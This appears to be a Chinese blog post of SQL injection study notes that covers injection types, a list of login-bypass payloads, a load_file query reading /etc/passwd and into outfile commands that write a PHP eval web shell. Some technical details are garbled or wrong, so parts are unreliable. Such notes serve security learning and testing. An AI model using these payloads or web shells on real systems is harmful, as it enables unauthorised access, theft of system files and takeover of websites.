SQL注入

前言

SQL注入式攻击技术,一般针对基于web平台的应用程序。造成SQL注入攻击漏洞的原因,是程序员在编写WEB程序时,没有对浏览器端提交的参数进行严格的过滤和判断。用户可以修改参数,提交SQL查询语句,并传到服务器端,从而获取想要的敏感信息,甚至执行危险的代码或系统命令。

常用函数

•函数 length()
• 计算长度函数。

• 函数 substr()
• substr() 和 substring()函数实现的功能是一样的,均为截取字符串。

• 函数 mid()
• mid(string,start,length)

• 函数 ascii()
• 返回字符串 str的最左字符的数值。

• ord 函数
• ord() 函数返回字符串第一个字符的 ASCII 值。如下图 1.2所示:

• 函数 updatexml()
• updatexml(XML_document, XPath_string, new_value);

• 函数 exp()
• exp是以e 为底的指数函数,可能会存在溢出。

• 函数 like()
• 模糊查询。 LIKE 操作符用于在 WHERE 子句中搜索列中的指定模式

• group_concat() 函数
• 将group by 产生的同一个分组中的值连接起来,返回一个字符串结果。查询获得的数据组成一行显示。

• concat()函数
• 将多个字符串连接成一个字符串,字符串之间可以使用连接符,本次使用连接串‘||’ 。

• count ()函数
• 统计个数,表个数,库个数等。

SQL注入的几大类型

1.数字型还是字符型

        判断注入时,首先需要判断是数字型还是字符型,数值型是不需要进行闭合,而字符型需要闭合之后进行注入,例:数字型是以数值的形式进行搜索如 1+1=2 ,而字符串型正好相反,是以字符串的形式在SQL 语句中表示如‘ 2’+‘2’=‘22’ 。

2.SQL注入

        SQL 注入主要是靠内联 SQL 来进行注入的and 、 or 与或非的判断来进行内联 SQL 注入,等于在原先的语句上扩展出来的 SQL语句。

3.报错注入

        报错注入顾名思义主要是利用数据库报错来进行判断是否存在注入点。如果不符合数据库语法规则就会产生错误。

常用函数如下。

Count(),rand(),ground by 

Floor() 取整数,rand()产生0~1之间的随机数

Floor(rand(0)*2)记录需要3条以上,3条以下报错

Floor(rand(0)*2)报错的原理是由于它的确定性,因为Floor(rand()*2)不加随机因子的时候是随机出错的。

concat()将符合条件的同一列中的不同数据拼接

 ExtractValue()和UpdataXML(),最长输出32位

常用的特殊字符如下。

' \ ; %00 ) ( # "

4.盲注

盲注可以分时间型盲注,布尔型盲注。

        1.时间型盲注

                时间型盲注,顾名思义和时间有关,可以使用if判断,sleep()函数,通过查看页面返回时间是否存在延时,分析是否存在注入。

列如,在"'and if(1,sleep(5),0)"中,因为1恒成立所以要延时5秒。也就是说,如果存在时间型盲注,那么页面的状态会有5秒的延迟。

        2.布尔型盲注

                布尔型盲注,主要通过页面的返回状态进行猜解,通过二分法的方式与ASCII值进行对比,判断每一位上的字符,常用函数有MID函数,length函数,left函数,ASCII函数,ord函数,substr函数。

                举个列子,主要对数据库库名进行猜解,一个字符一个字符进行猜解。"65"在ASCII码中对应大学字母A,猜表和字段也是相同方法,其他对应请看ASCII码表。具体代码如下。

and ascii (substr ((select schema_name from infromation_schema.schemata limit 0,1) ,1,1))>65

5.堆叠查询注入

        堆叠查询可以执行多条 SQL 语句,语句直接通过 ; 号来进行分隔,堆叠查询注入利用该特点,在第二条语句中构造自己要执行的语句,而且该语句可以是个人构造的任何语句,而 Oracle 是不支持堆叠查询注入。但利用条件比较苛刻只有当可以执行多条语句时才可以使用,例如:使用
mysqli_multi_query() 可以执行多条语句, mysqli_ query() 只能执行一条语句。

6.联合查询注入

        利用条件:需要页面有显示位(正常页面中,数据库查询的数据展示在页面当中呈现给用户的数据)。
 Union 联合查询作用是将两个或两个以上的SELECT 查询语句进行组合。
联合查询注入分通过判断查询的列数,判断显示位,获取数据库名,在显示位显示查询数据。
 Union 和 union all 区别, union all 会将所有的值进行显示,包括重复值,而 union 唯一值会将重复值删除。

7.二次注入

        在用户输入非法字符时,代码做了转义或编码,但该输入向数据库存储输入时又还
原了该数据,当有 Web 参数再次调用该数据库中恶意字符时,带有非法字符的参数
发生注入。

例: 1’ 被转义为 1\’ ,在次存储到数据库时
变为 1’ ,当参数调用该值时触发注入。

8.Cookie 注入

        正常的提交方式一般是 GET 和 POST ,但在获取数据时同样也会通过 Cookie 进行获
取数据,在获取数据时为对用户输入信息进行有效的过滤,导致可执行用户输入的SQL 语句。

9.编码注入

          1.宽字节注入

        首先要知道,英文字符占1个字符,中文字符占位2个字符。由于数据库使用GBK编码,开发人员会对“'”进行过滤,过滤后变为“\'”,若要“\”消失,而后面继续执行SQL语句,则需要ASCII大于“128”,这样才可以与“\”相结合为汉字。这里使用“%df”字符,代码如下所示。

id=1 '---------->id=1\ '---------->id=1%5c%27

id=1%df '----------id=1%df%5c%27 ---------->id=1%DF5C%27---------->id=1'

常用字符编码对应如下。

%27----------单引号

%20----------空格

%23----------# 号

%5c----------\ 反斜杠

列:%df%27

常见的转义函数如下。

addslashes 进行转义

MySQL_real_escape_string 函数

prge_replace 函数

注意,白盒审计要先看是否为GBK编码。

        2.urldecode注入

由于开发人员对用户输入的 “'” “"” “\” “null” 加 “\”进行转义,并进行编码,故“'” 变为“\’”。

若用户输入 “1%2527”,首先进行编码转换为“1%27”,再进行一次函数编码转换为“1'”。

所以,如果二次注入成立,需要编码函数在转义之后SQL语句之前才会形成二次注入。

10.XFF注入攻击

X-Forwarded-for 主要用来查询用户 IP 是否为伪造 IP ,但与数据库进行交互时为对用
户输入请求进行有效验证导致执行 SQL 语句。

11.DNS_log 监控 DNS 解析和HTTP 访问记录

首先需要接收 dns_log 数据的网站,而且需要可执行 load_file() 函数,通过该函数与dnslog 进行回显。

12.万能密码登陆

万能密码同样是由于在进行 SQL 操作时导致的注入问题,由于恒等式原因导致可在后台登录时,无需知道用户名密码,直接将 SQL 语句进行截断成为恒等式导致可直接登录后台。具体代码如下。

'or 1=1/*

"or "a"="a

"or"="

"or"="a'='a

"or1=1--

"or=or"

' 'or'='or'

' ) or ('a'='a

'.).or.('.a.'='.a

'or 1=1

'or 1=1 --

'or 1=1/*

'or"="a'='a

'or' '1'='1'

'or' '='

'or' '=' 'or ' '='

'or'='1'

'or'='or'

'or.'a.'='a

'or1=1--

1'or'1'='1

a 'or' 1=1--

a 'or'1=1--

or 'a'='a'

or 1=1--

or1=1--

13.窃取哈希口令

MySQL在MySQL.user表中存储哈希口令,再提取

哈希口令是通过password()函数计算的,查看password哈希值

14.读写文件

        1.load_file()读取文件操作

前提:知道文件的绝对路径,能够使用UNION查询,对web目录没有写的权限,具体代码如下。

select load_file ('c:flag\flag.txt');

union select 1,loadfile('/etc/passwd'),3,4,5#

2f6574632f706173737764

union select 1,loadfile(2f6574632f706173737764),3,4,5#

路径没有加单引号的话必须转换为十六进制;要是想省略单引号,也必须转换为十六进制。

        2.into outfile写入文件操作

前提:文件名必须是全路径(绝对路径),用户必须有写文件的权限,没有对单引号进行过滤,

具体代码如下。

select '<?php phpinfo();?>' into outfile 'C:\Windows\tmp\7.php'

select '<?php @eval($_POST["admin"]); ?>' into outfile

'C:\phpStudy\PHPTutorial\www\8.php'

PHP语句没有单引号的话,必须转换成十六进制;要是想省略单引号,也必须转换成十六进制,具体代码如下。

<?php eval($_POST["admin"]); ?> 或<?php eval ($_GET["admin"]); ?>

<?php @eval($_POST["admin"]); ?>

<?php phpinfo(); ?>

<?php eval($)POST["admin"]); ?>

有时候得写成

<?php eval(\$_POST["admin"]); ?>

SQL数据库种类

数据库按大类分可分为:关系型和非关系型,关系型数据库有熟知的Oracle 、 sqlserver 、 mysql 等,而非关系型包括 mongodb 、 redis 、 postgresql 等,主要区别在于关系型可在非常复杂的表中进行查询,而非关系型更注重数据的处理速度,所以两种数据库各有优势。

MySQL 数据库

端口号:3306

需要记住,默认库information——schema和其中的表schemata,tables和columns存储的是用户创建所有数据库的库名,记录数据库库名的字段为SCHEMANAME,这就是为什么通过该字段数据库语句可以查询到全部数据库,具体代码如下。

select schema_name from information_schema.schemata; 查询全部数据库

select table_schema,table_name from information_schema.tables; 查询全部数据库和表的对应

select column_name from information_schema.columns; 查询全部列

select 列 from xxx库 .xxx表; 查询值

MySQL版本的限制,5.15-5.5注释符号:--空格,/* */内联注释,#MySQL- 后面要加一个空格或控制字符要不然无法注释。'a' 'b'='ab'

SQLSever

端口号: 1433 具体代码如下。

注释符号:--,/*  */注释 

'a'+'b'='ab'

Oracle 

端口号: 1521 具体代码如下。

注释符号:--,/*  */注释 

'a'||'b'='ab'

PostgreSQL

5432 或者 5433 具体代码如下。

注释符号:--,/*  */注释 

'a'||'b'='ab'

DB2

端口号: 5000 具体代码如下。

SQLite,一种数据库文件,特别小,就一个库多个表,可用sqlite或sqlite2打开

MongoDB

端口号: 27017 具体代码如下。

MongoDB是由C++语言编写的,是一个基本分布式文件存储的开源数据库系统。

MongoDB将数据存储为一个文档,数据结构由键值对(key=>value)组成。MongoDB文档类似于JSON对象。字段值可以包含其他文档,数组及文档数组。

文章素材来源于《Web安全攻防》红日安全著

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

'陳平安'

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值